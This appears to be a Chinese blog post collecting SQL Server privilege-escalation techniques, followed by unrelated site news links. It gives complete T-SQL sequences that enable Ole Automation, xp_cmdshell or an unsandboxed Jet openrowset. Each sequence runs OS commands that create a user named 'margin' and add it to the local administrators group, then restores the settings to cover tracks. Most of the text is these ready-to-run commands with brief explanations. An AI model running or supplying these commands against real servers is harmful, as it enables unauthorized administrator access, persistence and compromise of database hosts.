SQL Server提权方法汇总(MSSQL)
admin
2023-02-18 19:00:06
0

使用sp_oacreate进行提权

--提权语句--sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1

EXEC sp_configure 'show advanced options', 1;

--使前面的配置生效RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE;

declare @shell int

--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null.

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'

--恢复语句EXEC

sp_configure 'Ole Automation Procedures', 0;

RECONFIGURE;

EXEC sp_configure 'show advanced options', 0;

RECONFIGURE;

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。在oacreate的官方文档里明确指出了,如果要使用OLE对象,必须要开启 'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;执行这条语句前要执行EXEC sp_configure 'show advanced options', 1; 官方对这句话的解释是:show advanced options,“显示高级选项”选项用来显示 sp_configure 系统存储过程高级选项。 当“显示高级选项” 设置为 1 时,可以使用 sp_configure 列出高级选项。 默认值为 0。

使用xp_cmdshell进行提权

--提权语句

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure; --开启CMDshell

-- master..xp_cmdshell的全写是master.dbo.xp_cmdshell

exec master..xp_cmdshell 'net user margin margin /add';

exec master..xp_cmdshell 'net localgroup administrators margin /add';

--恢复语句EXEC

sp_configure 'show advanced options', 0;

RECONFIGURE;

使用沙盒进行提权

--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

--exec sp_configure 'show advanced options',0;reconfigure;

SQL Server官方参考文档

sp_configure的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-2017

sp_oacreate的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-2017

sp_oamethod的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-2017

openrowset的官方文档:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-2017

ole db的官方文档:https://docs.microsoft.com/zh-cn/sql/connect/oledb/ole-db/oledb-driver-for-sql-server-programming?view=sql-server-2017


相关内容

热门资讯

小伙相亲2天后花33万闪婚,一... 极目新闻记者 邓波2025年4月,安徽安庆小伙何攀到贵州贵阳花果园相亲,并与相识两天的贵阳籍女子陆某...
丘成桐:王虹和邓煜都在MIT待... 当地时间7月23日,在美国费城举行的2026年国际数学家大会开幕式上,中国数学家邓煜、王虹获得菲尔兹...
欧盟对俄制裁列单中企,中国驻欧... 问:2026年7月23日,欧盟通过第21轮对俄罗斯制裁方案,新增列单制裁中国企业。中方对此有何评论?...
特朗普预警9月政府“停摆”,美... 一国总统公开预警自家联邦政府即将“停摆”,这种魔幻剧情又双叒叕要在华盛顿上演?当地时间7月22日,特...
视频丨2026年APEC数字和... 昨天(23日),2026年亚太经合组织数字和人工智能部长会议在四川成都举行。本届会议的主题为“数字和...
海南商发二期发射区土建完工,建... 7 月 24 日消息,海南商发今日宣布,海南商业航天发射场二期发射区建设项目土建工作完成,全面转入设...
菲律宾,没有以色列的命,得了以... 菲律宾,马尼拉。美国国务卿鲁比奥来了。菲律宾期盼已久的“救星”来了。菲律宾认为的“阳光”来了。从机场...
服务器盛会东莞启幕,松山湖软硬... 7月23日至24日,“智算筑基 融链共赢——2026年服务器产业供需对接活动”在东莞举行。作为系列配...
面向6G通信、高端安检、精准医... 太赫兹作为“电磁波段最后一块未开垦之地”,近年在超快光电子、低尺度半导体技术的推动下,逐步从实验室走...
获得全球最高奖项的中国数学家,... 一个喜欢玩梗的二次元大佬,竟然站上了数学界最高荣誉的领奖台。他就是今年的菲尔兹奖得主之一,邓煜。另一...